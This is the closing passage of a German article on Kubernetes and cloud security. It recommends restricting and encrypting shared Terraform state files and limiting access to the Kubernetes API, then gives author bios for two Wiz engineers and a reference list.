Das sind nur einige Beispiele für mögliche Angriffsszenarien, die sich dem Angreifer bieten. Hier schließt sich auch der Kreis zum ersten Beispiel – der Angreifer kann sich ausgehend vom Kubernetes-Cluster weiter lateral auf andere Cloud-Ressourcen ausbreiten. Um das Risiko eines solchen Angriffs zu reduzieren, haben die Anwender verschiedene Möglichkeiten:

  • Für Teams ist eine zentrale Ablage der Terraform-State-Datei grundsätzlich sinnvoll, um gemeinsam an der Definition der Cloud-Infrastruktur zu arbeiten. Allerdings sollte man sich den damit verbundenen Risiken bewusst sein und sicherstellen, dass der Zugriff so weit wie möglich eingeschränkt wird. Zugriff für AllUsers oder AuthenticatedUsers in S3 sollten vermieden werden. Das Erstellen von Bucket Policies für Access Control Lists (ACL) stellt sicher, dass nur ausgewählte Prinzipale den Zugriff auf den Bucket erhalten [15].

  • Darüber hinaus sollten zentral angelegte Terraform-State-Dateien verschlüsselt werden. Diese Option bieten sowohl die Terraform-Cloud als auch AWS S3.

  • Auch der Zugriff auf das Kubernetes-API kann eingeschränkt werden. Abweichend vom demonstrierten Beispiel könnte man anstelle eines vollständig öffentlichen API-Endpoints den Zugang über IP-Adressen-Whitelisting auf bekannte IP-Ranges einschränken. [16]

Fazit

Kubernetes und die Cloud ergänzen sich perfekt. Die gegenseitige Abhängigkeit birgt aber auch versteckte Risiken, die den Anwendern oft nicht bewusst sind. Um sich gegen Angriffe in der Cloud und im Cluster zu wappnen, müssen die Angriffsvektoren interdisziplinär betrachtet und adressiert werden. Sowohl die Härtung des Clusters als auch eine sinnvolle Segmentierung der Cloud-Ressourcen über Identität und Netzwerk sind ein Muss.

 

 


René Siekermann
 
ist als Enterprise Solutions Engineer bei der Cloud-Security-Firma Wiz tätig und hilft Kunden in der DACH-Region, das Sicherheitsrisiko ihrer Cloud-Umgebung schnell und effizient zu erfassen und umfassend und unternehmensweit zu optimieren.

 

 


Maximilian Siegert
 
ist Solutions Engineer Manager für die DACH-Region beim Cloud-Security-Unternehmen Wiz. Dort unterstützt er deutschsprachige Kunden bei komplexen Cloud-Security-Problemstellungen. Außerdem schreibt Blogbeiträge, Artikel und hält Vorträge auf Konferenzen, um sein Wissen zu teilen. Cloud und Cybersecurity sind seine Leidenschaft.

 

 

Links & Literatur

[1] https://www.cncf.io/reports/cncf-annual-survey-2022

[2] https://www.wiz.io/blog/lateral-movement-risks-in-the-cloud-and-how-to-prevent-them-part-2-from-k8s-clust

[3] https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/

[4] https://www.wiz.io/blog/lateral-movement-risks-in-the-cloud-and-how-to-prevent-them-part-3-from-compromis

[5] https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#azure-kubernetes-service-cluster-user-role

[6] https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server

[7] https://cloud.google.com/kubernetes-engine/docs/how-to/service-accounts#:~:text=By%20default%2C%20GKE%20nodes%20use,are%20required%20for%20GKE%20nodes.

[8] https://cloud.google.com/iam/docs/understanding-roles#kubernetes-engine-roles

[9] https://cloud.google.com/storage/docs/request-endpoints?hl=de

[10] https://cloud.google.com/kubernetes-engine/docs/how-to/protecting-cluster-metadata

[11] https://cloud.google.com/kubernetes-engine/docs/how-to/network-policy

[12] https://www.darkreading.com/cloud/toyota-discloses-decade-long-data-leak-exposing-2-15m-customers-data

[13] https://www.wiz.io/blog/the-top-cloud-security-threats-to-be-aware-of-in-2023

[14] https://docs.aws.amazon.com/eks/latest/userguide/add-user-role.html

[15] https://docs.aws.amazon.com/AmazonS3/latest/userguide/example-bucket-policies.html

[16] https://repost.aws/knowledge-center/eks-lock-api-access-IP-addresses

Keine Infos mehr verpassen!

ALLE NEWS ZUM IT SECURITY CAMP